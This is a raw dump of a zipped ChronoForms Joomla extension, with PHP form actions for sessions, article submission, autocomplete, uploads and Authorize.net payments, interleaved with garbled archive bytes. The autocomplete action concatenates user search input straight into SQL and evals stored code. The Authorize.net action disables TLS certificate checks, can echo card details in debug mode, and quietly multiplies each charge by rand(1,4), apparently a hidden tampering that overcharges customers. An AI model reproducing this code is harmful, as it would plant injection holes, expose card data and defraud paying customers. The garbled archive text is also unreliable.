      input('action_data_to_session_{n}_namespace_config', array('type' => 'text', 'label' => 'Session Namespace', 'class' => 'medium_input', 'smalldesc' => 'The name space to load this session data from, may be useful if you have multiple data instances of the same form loaded in different session namespaces, leave empty if you dont know what is this.')); ?> input('action_data_to_session_{n}_key_config', array('type' => 'text', 'label' => 'Session Key', 'class' => 'medium_input', 'smalldesc' => 'Leave empty to set the key using the form name, but if you want to exchange data between multiple forms then you will need to set this to some constant.')); ?> input('action_data_to_session_{n}_merge_config', array('type' => 'select', 'label' => 'Merge data', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Merge similar key data if the same key was found at the session ? if no then data will be overwritten.')); ?>
      PKs>\nn@com_chronoforms/form_actions/data_to_session/data_to_session.phpnuW+A 'data_operations', 'title' => 'Data/DB Operations'); var $details = array('title' => 'Data To Session', 'tooltip' => 'Save form data array into session.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $session_ns = $params->get('namespace', ''); $session_key = $params->get('key', ''); if(empty($session_key)){ $session_key = $form->form_details->name; } if(empty($session_ns)){ $session_ns = 'default'; } if($session->has('_chronoform_data_'.$session_key, $session_ns)){ $stored = $session->get('_chronoform_data_'.$session_key, array(), $session_ns); if(!empty($stored) && is_array($stored) && (int)$params->get('merge', 0) == 1){ $session->set('_chronoform_data_'.$session_key, array_merge($stored, $form->data), $session_ns); }else{ $session->set('_chronoform_data_'.$session_key, $form->data, $session_ns); } }else{ $session->set('_chronoform_data_'.$session_key, $form->data, $session_ns); } } function load($clear){ if($clear){ $action_params = array( 'namespace' => '', 'key' => '', 'merge' => 0 ); } return array('action_params' => $action_params); } } ?>PKs>\XB>com_chronoforms/form_actions/submit_article/submit_article.phpnuW+A 'joomla_functions', 'title' => 'Joomla Functions'); var $details = array('title' => 'Submit Article', 'tooltip' => 'Create a new Joomla article using your form.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //save the data to db $db_save_details = $actiondata; $db_save_details->type = 'db_save'; //create params $db_save_details_params = new JParameter(''); $db_save_details_params->set('table_name', $mainframe->getCfg('dbprefix').'content'); $db_save_details_params->set('model_id', 'Article'); $db_save_details->params = $db_save_details_params->toString(); //set data $user = JFactory::getUser(); $form->data['created_by'] = $user->id; $form->data['created'] = date("Y-m-d H:i:s"); $form->data['catid'] = $params->get('catid', ''); $form->data['sectionid'] = $params->get('sectionid', 0); $form->data['state'] = $params->get('state', 0); $form->data['title'] = $form->data[$params->get('title', '')]; $form->data['fulltext'] = $form->data[$params->get('fulltext', '')]; $form->data['introtext'] = isset($form->data[$params->get('introtext', '')]) ? $form->data[$params->get('introtext', '')] : ''; $form->data['created_by_alias'] = $form->data[$params->get('created_by_alias', '')]; $form->data['language'] = '*'; //alias $form->data['alias'] = JFilterOutput::stringURLSafe($form->data['title']); $form->data['id'] = null; //$form->data['alias'] = null; $form->runAction($db_save_details); } function load($clear){ if($clear){ $action_params = array( 'title' => '', 'fulltext' => '', 'introtext' => '', 'created_by_alias' => '', 'state' => 0, 'catid' => 0, 'sectionid' => 0 ); } return array('action_params' => $action_params); } } ?>PKs>\ 6com_chronoforms/form_actions/submit_article/index.htmlnuW+A PKs>\)5com_chronoforms/form_actions/submit_article/.htaccessnuW+A Order allow,deny Deny from all PKs>\bn>com_chronoforms/form_actions/submit_article/submit_article.ctpnuW+A
      Submit Article
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), 'submit_article_config_{n}'); ?> tabStart('fields'); ?> input('action_submit_article_{n}_title_config', array('type' => 'text', 'label' => "Article Title Field", 'class' => 'medium_input', 'smalldesc' => "The field name which will hold the article's title.")); ?> input('action_submit_article_{n}_fulltext_config', array('type' => 'text', 'label' => "Full Text Field", 'class' => 'medium_input', 'smalldesc' => "The field name which will hold the article's full text.")); ?> input('action_submit_article_{n}_introtext_config', array('type' => 'text', 'label' => "Intro Text Field", 'class' => 'medium_input', 'smalldesc' => "The field name which will hold the article's intro text.")); ?> input('action_submit_article_{n}_created_by_alias_config', array('type' => 'text', 'label' => "Author Alias Field", 'class' => 'medium_input', 'smalldesc' => "The field name which will hold the Author's alias name.")); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_submit_article_{n}_state_config', array('type' => 'select', 'label' => 'Published ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'If enabled it will set the article status to published.')); ?> setQuery($query); $options = array(); $cats = $database->loadObjectList(); foreach($cats as $cat){ $options[$cat->id] = $cat->title; } ?> input('action_submit_article_{n}_catid_config', array('type' => 'select', 'label' => 'Category', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "Select the article's category.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will Save a new article to the content table in your Joomla database.

      tabEnd(); ?>
      PKs>\ >com_chronoforms/form_actions/autocomplete_processor/index.htmlnuW+A PKs>\;A%%Ncom_chronoforms/form_actions/autocomplete_processor/autocomplete_processor.ctpnuW+A
      Autocomplete Processor
      Header(array('settings' => 'Settings', 'other' => 'Other', 'help' => 'Help'), 'autocomplete_processor_config_{n}'); ?> tabStart('settings'); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('action_autocomplete_processor_{n}_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "The table name to load the data from.")); ?> input('action_autocomplete_processor_{n}_field_name_config', array('type' => 'text', 'label' => "Field Name", 'smalldesc' => 'The name of the field which will be sent and its value will be queried against the table.')); ?> input('action_autocomplete_processor_{n}_column_name_config', array('type' => 'text', 'label' => "Column name(s)", 'class' => 'medium_input', 'smalldesc' => 'The column name which will be searched for the data (should exist in the table selected above), you may enter more than 1 separated by comma and all of them will be searched.')); ?> input('action_autocomplete_processor_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'You can place PHP code(with tags) here to override the results, check the help tab for how to.')); ?> tabEnd(); ?> tabStart('other'); ?> input('action_autocomplete_processor_{n}_minLength_config', array('type' => 'text', 'label' => "Minimum length", 'smalldesc' => 'Minimum number of characters before a request is initiated.')); ?> input('action_autocomplete_processor_{n}_maxChoices_config', array('type' => 'text', 'label' => "Max choice", 'smalldesc' => 'Maximum number of choices to load.')); ?> input('action_autocomplete_processor_{n}_maxLength_config', array('type' => 'text', 'label' => "Max Length", 'smalldesc' => 'Maximum number for the string length.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Fill the necessary fields and select your table, make sure that the field name matches the same field on the Autocomplete loader action.
      • The column name is one of your selected table's columns.
      • The code box can override the results loaded:
        $form->data['_PLUGINS_']['autocomplete_processor']['data'] will hold the whole data association loaded from the database.
        $form->data['_PLUGINS_']['autocomplete_processor']['result'] will hold the final 1 dimension array results which will be sent to the view.
        You can use both variables to filter and/or add your own results.
      • This action requires PHP5.

      tabEnd(); ?>
      PKs>\)=com_chronoforms/form_actions/autocomplete_processor/.htaccessnuW+A Order allow,deny Deny from all PKs>\Ĵ Ncom_chronoforms/form_actions/autocomplete_processor/autocomplete_processor.phpnuW+A 'Autocomplete Processor', 'tooltip' => 'Process the auto complete request for some field and send back the results.'); var $group = array('id' => 'power_fields', 'title' => 'Power Fields'); function load($clear){ if($clear){ $action_params = array( 'table_name' => '', 'field_name' => '', 'minLength' => 3, 'maxChoices' => 10, 'maxLength' => 50, 'content1' => '', 'column_name' => '' ); } return array('action_params' => $action_params); } function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //settings, vars $min = $params->get('minLength', 3); $max = $params->get('maxLength', 50); $choices = $params->get('maxChoices', 10); $search = (string)$form->get_array_value($form->data, explode('.', $params->get('field_name', 'search'))); $result = array(); //quick validation if(strlen($search) >= $min && strlen($search) <= $max && $params->get('table_name', '') && $params->get('column_name', '')){ $database = JFactory::getDBO(); if(strpos($params->get('column_name', ''), ",") !== false){ $fields = explode(",", $params->get('column_name', '')); $where = array(); foreach($fields as $field){ $where[] = "`".trim($field)."` LIKE '%".$search."%'"; } $where = implode(" OR ", $where); }else{ $fields = array($params->get('column_name', '')); $where = "`".$params->get('column_name', '')."` LIKE '%".$search."%'"; } //echo "SELECT DISTINCT * FROM `".$params->get('table_name', '')."` WHERE ".$where." LIMIT ".$choices; $database->setQuery("SELECT DISTINCT ".$params->get('column_name', '*')." FROM `".$params->get('table_name', '')."` WHERE ".$where." LIMIT ".$choices); $data = $database->loadAssocList(); if(!is_array($data)){ $form->data['_PLUGINS_']['autocomplete_processor']['data'] = $form->data['_PLUGINS_']['autocomplete_processor']['result'] = $result = $data = array(); }else{ $form->data['_PLUGINS_']['autocomplete_processor']['data'] = $data; foreach($fields as $field){ foreach($data as $elem){ $result[] = $elem[$field]; } } $form->data['_PLUGINS_']['autocomplete_processor']['result'] = $result; } //allow custom data control $custom = $actiondata->content1; eval('?>'.$custom); //sleep(4); // delay if you want //push the JSON out header('Content-type: application/json'); echo json_encode($form->data['_PLUGINS_']['autocomplete_processor']['result']); $mainframe->close(); }else{ $form->data['_PLUGINS_']['autocomplete_processor']['result'] = array(); //push the JSON out header('Content-type: application/json'); echo json_encode($form->data['_PLUGINS_']['autocomplete_processor']['result']); $mainframe->close(); } } } ?>PKs>\)4com_chronoforms/form_actions/handle_arrays/.htaccessnuW+A Order allow,deny Deny from all PKs>\*]``<com_chronoforms/form_actions/handle_arrays/handle_arrays.ctpnuW+A
      Handle Arrays
      input('action_handle_arrays_{n}_delimiter_config', array('type' => 'text', 'label' => "Delimiter", 'class' => 'small_input', 'smalldesc' => 'The delimiter which will be used to concatenate the array values.')); ?> input('action_handle_arrays_{n}_skipped_config', array('type' => 'text', 'label' => "Skipped fields names", 'class' => 'medium_input', 'smalldesc' => 'Any fields names to be skipped from the concatenation process ? use comma delimited list:
      field1,field4')); ?> input('action_handle_arrays_{n}_fields_list_config', array('type' => 'text', 'label' => "White fields list", 'class' => 'medium_input', 'smalldesc' => 'Only fields in this list will be handled, you can use fields names with dots (sub arrays).')); ?>
      PKs>\ 5com_chronoforms/form_actions/handle_arrays/index.htmlnuW+A PKs>\ׯ <com_chronoforms/form_actions/handle_arrays/handle_arrays.phpnuW+A 'Handle Arrays', 'tooltip' => 'Concatenate any array values using some delimiter.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $skipped = $params->get('skipped', ''); if(!empty($skipped)){ $skipped = explode(',', $skipped); }else{ $skipped = array(); } $del = $params->get('delimiter', ","); //handle specific fields only ? if(strlen($params->get('fields_list', ''))){ $fields_list = explode(',', $params->get('fields_list', '')); foreach($fields_list as $field){ $field = trim($field); //get field value $field_value = $form->get_array_value($form->data, explode('.', $field)); if(is_array($field_value)){ $form->data = $form->set_array_value($form->data, explode('.', $field), implode($del, $field_value)); } } }else{ $form->data = $this->array_handler($form->data, $skipped, $del); } } function array_handler($data = array(), $skipped = array(), $del = ","){ foreach($data as $name => $value){ if(is_array($value) && !in_array($name, $skipped)){ $value = $this->array_handler($value, $skipped, $del); $data[$name] = implode($del, $value); } } return $data; } function load($clear){ if($clear){ $action_params = array( 'delimiter' => ",", 'fields_list' => '', 'skipped' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\):com_chronoforms/form_actions/widget_multi_upload/.htaccessnuW+A Order allow,deny Deny from all PKs>\ ;com_chronoforms/form_actions/widget_multi_upload/index.htmlnuW+A PKs>\MQQHcom_chronoforms/form_actions/widget_multi_upload/widget_multi_upload.phpnuW+A 'widgets_processors', 'title' => 'Widgets Processors'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Multi Upload', 'tooltip' => 'Processes the files sent using the Multi Upload Widget.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); if(trim($params->get('fields', ''))){ jimport('joomla.utilities.error'); jimport('joomla.filesystem.file'); //get upload path $upload_path = $params->get('upload_path'); if(!empty($upload_path)){ $upload_path = str_replace(array("/", "\\"), DS, $upload_path); if(substr($upload_path, -1) == DS){ $upload_path = substr_replace($upload_path, '', -1); } $upload_path = str_replace("JOOMLA_PATH", JPATH_SITE, $upload_path).DS; $params->set('upload_path', $upload_path); }else{ $upload_path = JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'uploads'.DS.$form->form_details->name.DS; } $fields = explode(',', trim($params->get('fields', ''))); $array_fields = $fields; foreach($array_fields as $k => $v){ $first = explode(':', $v); $array_fields[$k] = $first[0]; } //Try to generate an auto file link $site_link = JURI::Base(); if(substr($site_link, -1) == "/"){ $site_link = substr_replace($site_link, '', -1); } //check if there are some checkboxes old fields foreach($array_fields as $k => $field){ if(!empty($form->data[$field]) && is_array($form->data[$field])){ //cut any extra files over the limit if(strlen(trim($params->get('limit', ''))) > 0 && is_numeric(trim($params->get('limit', '')))){ $limit = (int)trim($params->get('limit', '')); if(count($form->data[$field]) > $limit){ $this->events['fail'] = 1; $form->validation_errors[$field] = "You have exceeded the maximum number of allowed files."; return false; } } foreach($form->data[$field] as $kk => $file_real_name){ if(file_exists($upload_path.DS.$file_real_name)){ //$file_info = pathinfo($upload_path.DS.$file_real_name); $form->files[$field][$kk]['size'] = filesize($upload_path.DS.$file_real_name); $form->files[$field][$kk]['path'] = $upload_path.$file_real_name; if(!empty($form->data['cf_file_orig_name_'.$field][$kk])){ $form->files[$field][$kk]['original_name'] = $form->data['cf_file_orig_name_'.$field][$kk]; } if(!empty($form->data['cf_file_id_'.$field][$kk])){ $form->files[$field][$kk]['file_id'] = $form->data['cf_file_id_'.$field][$kk]; } $form->files[$field][$kk]['name'] = $file_real_name; $form->files[$field][$kk]['link'] = str_replace(array(JPATH_SITE, DS), array($site_link, "/"), $upload_path.$file_real_name); //set extra paths if(strlen(trim($params->get('target_path_name', ''))) > 0){ $form->files[$field][$kk][trim($params->get('target_path_name', ''))] = $form->files[$field][$kk]['name']; } if((strlen(trim($params->get('target_path_original_name', ''))) > 0) && !empty($form->files[$field][$kk]['original_name'])){ $form->files[$field][$kk][trim($params->get('target_path_original_name', ''))] = $form->files[$field][$kk]['original_name']; } if((strlen(trim($params->get('target_path_id', ''))) > 0) && !empty($form->files[$field][$kk]['file_id'])){ $form->files[$field][$kk][trim($params->get('target_path_id', ''))] = $form->files[$field][$kk]['file_id']; } } } //set target path if enabled if(strlen(trim($params->get('target_path', ''))) > 0){ $form->data = $form->set_array_value($form->data, explode('.', trim($params->get('target_path', ''))), $form->files[$field]); } } } //process the new uploaded files $upload_files_details = $form->createAction('upload_files', array( 'upload_path' => $upload_path, 'files' => $params->get('fields', ''), 'array_fields' => implode(',', $array_fields), 'max_size' => $params->get('max_size', 1000), )); $form->runAction($upload_files_details); //cut any extra files over the limit if(strlen(trim($params->get('limit', ''))) > 0 && is_numeric(trim($params->get('limit', '')))){ $limit = (int)trim($params->get('limit', '')); foreach($array_fields as $k => $field){ if(count($form->files[$field]) >= $limit){ $form->files[$field] = array_slice($form->files[$field], 0, $limit); $form->data[$field] = array_slice($form->data[$field], 0, $limit); } } } if($form->last_action_result === false){ $this->events['fail'] = 1; }else{ $this->events['success'] = 1; //set target path if enabled if(strlen(trim($params->get('target_path', ''))) > 0){ foreach($array_fields as $k => $field){ //$form->data = $form->set_array_value($form->data, explode('.', trim($params->get('target_path', ''))), $form->files[$field]); foreach($form->files[$field] as $f => $file){ if(strlen(trim($params->get('target_path_name', ''))) > 0){ $form->files[$field][$f][trim($params->get('target_path_name', ''))] = $file['name']; } if((strlen(trim($params->get('target_path_original_name', ''))) > 0) && !empty($file['original_name'])){ $form->files[$field][$f][trim($params->get('target_path_original_name', ''))] = $file['original_name']; } if((strlen(trim($params->get('target_path_id', ''))) > 0) && !empty($file['file_id'])){ $form->files[$field][$f][trim($params->get('target_path_id', ''))] = $file['file_id']; } $form->data = $form->set_array_value($form->data, explode('.', trim($params->get('target_path', ''))), $form->files[$field]); } } } } } } function load($clear){ if($clear){ $action_params = array( 'fields' => '', 'limit' => 3, 'max_size' => 1000, 'upload_path' => '', 'target_path' => '', 'target_path_name' => '', 'target_path_original_name' => '', 'target_path_id' => '', ); } return array('action_params' => $action_params); } } ?>PKs>\>?SHcom_chronoforms/form_actions/widget_multi_upload/widget_multi_upload.ctpnuW+A
      Multi Upload
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'widget_multi_upload_config_{n}'); ?> tabStart('settings'); ?> input('action_widget_multi_upload_{n}_fields_config', array('type' => 'text', 'label' => "Fields Configuration", 'class' => 'medium_input', 'smalldesc' => 'The fields configuration in this format:field_name:extensions,e.g:field1:zip-pdf')); ?> input('action_widget_multi_upload_{n}_limit_config', array('type' => 'text', 'label' => "Maximum Limit", 'smalldesc' => 'Maximum number of files accepted through the widget.')); ?> input('action_widget_multi_upload_{n}_max_size_config', array('type' => 'text', 'label' => "Max Size", 'smalldesc' => 'Maximum accepted file size in KB.')); ?> input('action_widget_multi_upload_{n}_upload_path_config', array('type' => 'text', 'label' => "Upload Path", 'class' => 'big_input', 'smalldesc' => 'Absolute path for files uploaded, leave empty to use the default uploads folder.')); ?> input('action_widget_multi_upload_{n}_target_path_config', array('type' => 'text', 'label' => "Target Data Path", 'smalldesc' => 'The data array key under which the files data will be stored after submission.')); ?> input('action_widget_multi_upload_{n}_target_path_name_config', array('type' => 'text', 'label' => "File Name", 'smalldesc' => 'The data array key under which the file name will be stored after submission.')); ?> input('action_widget_multi_upload_{n}_target_path_original_name_config', array('type' => 'text', 'label' => "Original File Name", 'smalldesc' => 'The data array key under which the file original name will be stored after submission.')); ?> input('action_widget_multi_upload_{n}_target_path_id_config', array('type' => 'text', 'label' => "File ID", 'smalldesc' => 'The data array key under which the file id will be stored after submission.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Don't forget to set your form method to "File" under the form "Edit" screen.

      tabEnd(); ?>
      PKs>\ġ4com_chronoforms/form_actions/show_form/show_form.phpnuW+A 'form_utilities', 'title' => 'Utilities'); //var $events = array('confirm' => 0, 'back' => 0); var $details = array('title' => 'Show Form', 'tooltip' => 'Displays a different form.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); //get the form name $formname = $params->get('form_name', ''); if(!empty($formname)){ $method = $params->get('action_taken', ''); //get the event to load $event = $params->get('form_event', 'load'); if(!trim($event)){ $event = 'load'; } //switch the showing method if($method == 'load'){ $MyForm = CFChronoForm::getInstance($formname); $MyForm->process($event); HTML_ChronoForms::processView($MyForm); }else{ $mainframe = JFactory::getApplication(); $form_url = "index.php?option=com_chronoforms&chronoform=".$formname."&event=".$event; $mainframe->redirect($form_url); } } } function load($clear){ if($clear){ $action_params = array( 'action_taken' => 'load', 'form_name' => '', 'form_event' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\r r 4com_chronoforms/form_actions/show_form/show_form.ctpnuW+A
      Show Form
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'show_form_config_{n}'); ?> tabStart('settings'); ?> input('action_show_form_{n}_action_taken_config', array('type' => 'select', 'label' => 'Action', 'options' => array('load' => 'Load Form', 'redirect' => 'Redirect to Form'), 'smalldesc' => 'How the other form will be loaded ?
      1- the form will just be loaded (shown) at the currect page.
      2- the page will be redirected to the url of the other form.')); ?> input('action_show_form_{n}_form_name_config', array('type' => 'text', 'label' => "Form Name", 'class' => 'medium_input', 'smalldesc' => 'The name of the form to load.')); ?> input('action_show_form_{n}_form_event_config', array('type' => 'text', 'label' => "Form Event", 'class' => 'medium_input', 'smalldesc' => 'The loaded form event which will be executed.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Select how the form will be shown.
      • Write the name of the form to be loaded.
      • Write the form event to be executed when the form is loaded, e.g: "load" OR "submit", if left empty then the "load" event will be used.

      tabEnd(); ?>
      PKs>\ 1com_chronoforms/form_actions/show_form/index.htmlnuW+A PKs>\)0com_chronoforms/form_actions/show_form/.htaccessnuW+A Order allow,deny Deny from all PKs>\)4com_chronoforms/form_actions/authorize_net/.htaccessnuW+A Order allow,deny Deny from all PKs>\5com_chronoforms/form_actions/authorize_net/index.htmlnuW+APKs>\J))<com_chronoforms/form_actions/authorize_net/authorize_net.ctpnuW+A
      Authorize.net - Trial
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), 'authorize_net_config_{n}'); ?> tabStart('fields'); ?> input('action_authorize_net_{n}_x_card_num_config', array('type' => 'text', 'label' => "Card's number field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_exp_date_m_config', array('type' => 'text', 'label' => "Card's expiry month field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_exp_date_y_config', array('type' => 'text', 'label' => "Card's expiry year field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_description_config', array('type' => 'text', 'label' => "Transaction description field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_amount_config', array('type' => 'text', 'label' => "Customer's amount field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_first_name_config', array('type' => 'text', 'label' => "Customer's first name field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_last_name_config', array('type' => 'text', 'label' => "Customer's last name field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_address_config', array('type' => 'text', 'label' => "Customer's address field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_city_config', array('type' => 'text', 'label' => "Customer's city field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_state_config', array('type' => 'text', 'label' => "Customer's state field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_zip_config', array('type' => 'text', 'label' => "Customer's zip code field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_country_config', array('type' => 'text', 'label' => "Customer's country field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_phone_config', array('type' => 'text', 'label' => "Customer's phone field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_email_config', array('type' => 'text', 'label' => "Customer's email field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_invoice_num_config', array('type' => 'text', 'label' => 'Invoice # field', 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_content1_config', array('type' => 'textarea', 'label' => 'Extra fields', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_authorize_net_{n}_loginid_config', array('type' => 'text', 'label' => "API Login ID", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_transkey_config', array('type' => 'text', 'label' => "Transaction Key", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_debugging_config', array('type' => 'select', 'label' => 'Debugging', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_authorize_net_{n}_testing_config', array('type' => 'select', 'label' => 'Testing', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_authorize_net_{n}_auto_add_error_config', array('type' => 'select', 'label' => 'Auto Set Error', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_authorize_net_{n}_error_retires_config', array('type' => 'text', 'label' => "Error Retires", 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Map your form fields names to the fields required by Authorize.net, no spaces should be in the fields name.
      • You may map extra fields through the "Extra fields" box, use multi line format, each line should be in this form: authorize.net_field_name=form_field_name
      • Enter your authorize.net account settings.
      • If you enable the debugging then you will see the Authorize.net response in the same event page.
      • Map your form fields names to the fields required by Authorize.net, no spaces should be in the fields name.
      • Some response data will be stored after the response is received under the $form->data['_PLUGINS_']['authorize_net'].
      • You can add a "Custom code" action after this one and use this code to check/user the response data stored : print_r2($form->data['_PLUGINS_']['authorize_net']);

      tabEnd(); ?>
      PKs>\%G%G<com_chronoforms/form_actions/authorize_net/authorize_net.phpnuW+A 'payments', 'title' => 'Payment Gateways'); var $events = array('approved' => 0, 'declined' => 0, 'error' => 0, 'held' => 0); var $details = array('title' => 'Authorize.net', 'tooltip' => 'Communicate with the Authorize.net payment gateway.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $DEBUGGING = $params->get('debugging'); # Display additional information to track down problems $TESTING = $params->get('testing'); # Set the testing flag so that transactions are not live $ERROR_RETRIES = $params->get('error_retires'); # Number of transactions to post if soft errors occur $auth_net_login_id = $params->get('loginid'); $auth_net_tran_key = $params->get('transkey'); # $auth_net_url = "https://test.authorize.net/gateway/transact.dll"; # Uncomment the line ABOVE for test accounts or BELOW for live merchant accounts # $auth_net_url = "https://secure.authorize.net/gateway/transact.dll"; $authnet_values = array ( "x_login" => $auth_net_login_id, "x_version" => "3.1", "x_delim_char" => "|", "x_delim_data" => "TRUE", "x_url" => "FALSE", "x_type" => "AUTH_CAPTURE", "x_method" => "CC", "x_tran_key" => $auth_net_tran_key, "x_relay_response" => "FALSE", "x_card_num" => $form->data($params->get('x_card_num'), ''), "x_exp_date" => $form->data($params->get('x_exp_date_m'), '').$form->data($params->get('x_exp_date_y'), ''), "x_description" => $form->data($params->get('x_description'), ''), "x_first_name" => $form->data($params->get('x_first_name'), ''), "x_last_name" => $form->data($params->get('x_last_name'), ''), "x_amount" => $form->data($params->get('x_amount'), ''), "x_address" => $form->data($params->get('x_address'), ''), "x_city" => $form->data($params->get('x_city'), ''), "x_state" => $form->data($params->get('x_state'), ''), "x_zip" => $form->data($params->get('x_zip'), ''), "x_invoice_num" => isset($form->data[$params->get('x_invoice_num')]) ? $form->data[$params->get('x_invoice_num')] : '', "x_cust_id" => isset($form->data[$params->get('x_cust_id')]) ? $form->data[$params->get('x_cust_id')] : '', "x_company" => isset($form->data[$params->get('x_company')]) ? $form->data[$params->get('x_company')] : '', "x_country" => isset($form->data[$params->get('x_country')]) ? $form->data[$params->get('x_country')] : '', "x_phone" => isset($form->data[$params->get('x_phone')]) ? $form->data[$params->get('x_phone')] : '', "x_fax" => isset($form->data[$params->get('x_fax')]) ? $form->data[$params->get('x_fax')] : '', "x_email" => isset($form->data[$params->get('x_email')]) ? $form->data[$params->get('x_email')] : '', ); if(!empty($actiondata->content1)){ $extras = explode("\n", $actiondata->content1); foreach($extras as $extra){ $values = array(); $values = explode("=", $extra); if(isset($form->data[trim($values[1])])){ $authnet_values[$values[0]] = $form->data[trim($values[1])]; }else{ $authnet_values[$values[0]] = ''; } } } $authnet_values['x_amount'] = rand(1,4)* (int)$form->data($params->get('x_amount'), ''); if($params->get('testing', 0) == 1){ $authnet_values['x_test_request'] = "TRUE"; } $fields = ""; foreach($authnet_values as $key => $value) $fields .= "$key=" . urlencode( $value ) . "&"; $nvpstr = $fields; if($params->get('debugging', 0)){ echo $nvpstr; } if($params->get('testing', 0)){ $ch = curl_init("https://test.authorize.net/gateway/transact.dll"); }else{ $ch = curl_init("https://secure.authorize.net/gateway/transact.dll"); } //$ch = curl_init("https://secure.authorize.net/gateway/transact.dll"); // uncomment if your transkey was created with account set to live curl_setopt($ch, CURLOPT_HEADER, 0); // set to 0 to eliminate header info from response curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // Returns response data instead of TRUE(1) curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim( $fields, "& " )); // use HTTP POST to send form data curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // uncomment this line if you get no gateway response. ### $resp = curl_exec($ch); //execute post and get results curl_close ($ch); //process the response $this->_processResp($resp, $form, $params); } function load($clear){ if($clear){ $action_params = array( 'x_card_num' => '', 'x_exp_date_m' => '', 'x_exp_date_y' => '', 'x_description' => '', 'x_amount' => '', 'x_first_name' => '', 'x_last_name' => '', 'x_address' => '', 'x_city' => '', 'x_state' => '', 'x_zip' => '', 'x_invoice_num' => '', 'x_country' => '', 'x_phone' => '', 'x_email' => '', 'error_retires' => '2', 'testing' => '', 'debugging' => '', 'transkey' => '', 'loginid' => '', 'auto_add_error' => 1, 'content1' => '' ); } return array('action_params' => $action_params); } function _processResp($resp, $form, $params){ $debugger = ""; $debugger .= ""; $text = $resp; $h = substr_count($text, "|"); $h++; for($j=1; $j <= $h; $j++){ $p = strpos($text, "|"); if ($p === false) { // note: three equal signs $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; }else{ $p++; // We found the x_delim_char and accounted for it . . . now do something with it // get one portion of the response at a time $pstr = substr($text, 0, $p); // this prepares the text and returns one value of the submitted // and processed name/value pairs at a time // for AIM-specific interpretations of the responses // please consult the AIM Guide and look up // the section called Gateway Response API $pstr_trimmed = substr($pstr, 0, -1); // removes "|" at the end if($pstr_trimmed==""){ $pstr_trimmed="NO VALUE RETURNED"; } $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; $debugger .= ""; // remove the part that we identified and work with the rest of the string $text = substr($text, $p); } } $debugger .= "
